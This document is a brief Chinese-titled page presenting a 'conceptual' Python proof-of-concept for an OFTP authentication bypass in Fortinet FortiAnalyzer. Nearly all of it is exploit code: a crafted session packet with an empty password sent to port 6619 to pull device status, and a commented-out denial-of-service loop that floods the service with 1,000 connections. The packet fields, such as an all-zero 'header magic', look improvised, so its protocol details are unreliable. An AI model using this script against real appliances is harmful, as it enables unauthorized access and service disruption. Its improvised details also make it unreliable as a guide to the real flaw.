CVE-2025-53845 Fortinet FortiAnalyzer OFTP认证绕过漏洞

# CVE-2025-53845 - FortiAnalyzer OFTP Improper Authentication PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation of the OFTP authentication bypass # in FortiAnalyzer. Use only for authorized security testing. import socket import struct TARGET_HOST = "<fortianalyzer_ip>" OFTP_PORT = 6619 # Default OFTP port for FortiAnalyzer def build_evil_oftp_request(): """ Build a crafted OFTP request that bypasses authentication. OFTP uses a simple header structure. The vulnerability lies in the lack of proper authentication validation on the server side. """ # OFTP Start Session Request (SSRM) - crafted without valid credentials # The server fails to verify the session initiator credentials ssrm_payload = b"" # ODETTE-FTP header magic ssrm_payload += b"\x00\x00\x00\x00" # Command: SSRM (Start Session Ready Message) = 0x01 ssrm_payload += b"\x01" # Version ssrm_payload += b"\x13" # Reserved ssrm_payload += b"\x00\x00" # Compress, Restarts, Resync, etc. flags ssrm_payload += b"\x00" * 4 # User data - intentionally malformed/empty to trigger vuln ssrm_payload += b"ATTACKER\x00" # Password field - empty (bypass) ssrm_payload += b"\x00" * 8 # OFTP length prefix length = struct.pack(">H", len(ssrm_payload)) return length + ssrm_payload def exploit_info_disclosure(): """Exploit the auth bypass to read device health/status info.""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, OFTP_PORT)) payload = build_evil_oftp_request() sock.send(payload) # Read server response - contains health/status info due to auth bypass response = sock.recv(4096) print(f"[*] Received response ({len(response)} bytes): {response.hex()}") sock.close() return response def exploit_dos(): """Trigger denial of service by flooding with crafted OFTP requests.""" for i in range(1000): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, OFTP_PORT)) payload = build_evil_oftp_request() sock.send(payload) sock.close() print("[+] DoS flood completed") if __name__ == "__main__": exploit_info_disclosure() # exploit_dos() # Uncomment to trigger DoS